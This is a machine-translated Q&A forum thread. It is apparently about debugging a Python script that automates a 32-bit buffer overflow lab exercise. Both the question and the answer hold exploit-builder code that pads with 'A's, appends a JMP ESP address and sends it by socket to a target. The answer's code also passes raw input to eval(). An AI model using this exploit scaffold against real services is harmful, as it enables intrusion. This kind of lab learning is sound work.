通过套接字发送原始输入变量中的转义十六进制字符串不起作用？

Question

请提前原谅我。我知道我的代码很草率，有点粗俗

我正在尝试编写一个基于菜单的脚本，用于自动化32位缓冲区溢出的每个步骤（作为一个小背景故事）。我已经自动完成的大多数步骤都没有问题，但我正在尝试在发送缓冲区之前将一系列转义的十六进制字符附加到缓冲区中（请参阅下面的代码）

我已经为Python2.7和Python3编写了脚本（使用pwnlib进行p32小端处理）。我已经放弃了Python3，因为它在编写时似乎有点乏味我遇到的问题是，通过raw_input定义的字符串变量中存储的转义十六进制字符没有通过套接字正确发送。

如果我对转义的十六进制字符进行硬编码，那么脚本运行将完美无缺。我确信我已经读了很多书，知道编码方面存在某种问题，但我已经在这方面做了几天了，在这一点上我感到非常沮丧

Python 2.7

#!/usr/bin/env python2
from binascii import *
import socket, os, time, shlex, subprocess, re, struct, sys, binascii
global RHOST, RPORT, RPORT_str, buf, buf_len, choice, s, command, pattern_create, match_offset, match_offset_str, badchars, eip_verification

def send_buf():
    global RHOST, RPORT, RPORT_str, buf, buf_len, choice, s, command, pattern_create, match_offset, match_offset_str, badchars, eip_verification    
    
    while True:
        try:    
            # connect to socket
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((RHOST,RPORT))

            # send buffer fuzz
            s.send(buf + "\n")
            # print out sent block
            print "Sent: {0}".format(buf)
            break
        except:
            print "Failed to connect to server."
            pause = raw_input("Press any key to continue...")

RHOST = "10.0.0.2"
RPORT = 31337
match_offset = 146
command = ""

print "[6] Finding the Right Module"
print 30 * "-" , "README" , 30 * "-"
print "Within Immunity Debugger, type the following: \n"
print "!mona modules \n"
print "Note the base address and module name for the module with least protections listed."
print "The idea here is to locate the JMP ESP address used by this module, and overwrite the EIP with that address."
print "!mona find -s \"\\xff\\xe4\" -m <module_name>" 

pointer = raw_input("Enter the pointer address used by the vulnerable module with least protections: ")
print pointer
print "Convert the string above to little endian. (I.E 0x080414c3 -> \\xc3\\x14\\x04\\x08) "

le_pointer = raw_input("Little-endian: ")
#le_pointer = le_pointer.decode("unicode_escape")
buf = command + ("A" * match_offset) + le_pointer
print buf
send_buf()

硬编码le_指针工作得很好，但我想理解为什么在接受来自raw_input的输入时它不能工作。这两个对象都是字符串，所以我有一个基本的误解

我相信我还需要进一步的阐述，但如果能为我解决这个问题提供任何帮助，我将不胜感激

是否有更好的解决方案通过用户输入接受指针地址（即：0x080414c3），将其转换为转义十六进制，反转字节顺序（对于小端体系结构），并以通过套接字正确发送的方式将其附加到缓冲区？

硬编码le_指针本身工作正常。 le_pointer = "\xc3\x14\x04\x08"

Answer 1

对于任何努力完成与我相同或类似任务的人来说，在Str和Byte对象方面也有困难，或者试图将Python 2.7漏洞转换为Python 3，我发现最好通过string.encode()将所有字符串对象转换为字节，而只需使用这些对象即可

我通过使用Python3（由@tripleee推荐）、pwntools模块p32实现了我的目标，将所有字符串转换为字节，并像我在Python2.7中通常做的那样使用这些字符串而不是字符串

感谢@tripleee和@steve帮助我澄清了一些误解，并试图帮助我解决这个问题。下面是我为Python3修改的代码

#!/usr/bin/env python3
from pwn import *
# import socket, shlex, subprocess, six, binascii, os, time, sys, pwnlib
global RHOST, RPORT, RPORT_str, buf, buf_len, choice, s, command, pattern_create, match_offset, match_offset_str, badchars, eip_verification

def send_buf():
    global RHOST, RPORT, RPORT_str, buf, buf_len, choice, s, command, pattern_create, match_offset, match_offset_str, badchars, eip_verification    
    
    while True:
        try:    
            # connect to socket
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((RHOST,RPORT))


            # send buffer fuzz
            s.send(buf)
            # print out sent block
            print("Sent: {0}".format(buf))
            break
        except:
            print("Failed to connect to server.")
            pause = input("Press any key to continue...")

RHOST = "10.0.0.41"
RPORT = 31337
match_offset = 146
command = ''.encode()

print("[6] Finding the Right Module")
print(30 * "-" , "README" , 30 * "-")
print("Within Immunity Debugger, type the following: \n")
print("!mona modules \n")

print("Note the base address and module name for the module with least protections listed.")

print("The idea here is to locate the JMP ESP address used by this module, and overwrite the EIP with that address.")

print("!mona find -s \"\\xff\\xe4\" -m <module_name>") 

pointer = eval(input("Enter the JMP ESP pointer address used by the vulnerable module with least protections: "))


le_pointer = p32(pointer)
print(le_pointer)

newline = "\n".encode()
pad = ("A" * match_offset).encode()
pre_buf = command + pad
buf = pre_buf + le_pointer + newline

print(buf)
pause = input("Ensure immunity is running, attached, and breakpoint is configured to halt program upon JMP ESP trigger: ")
send_buf()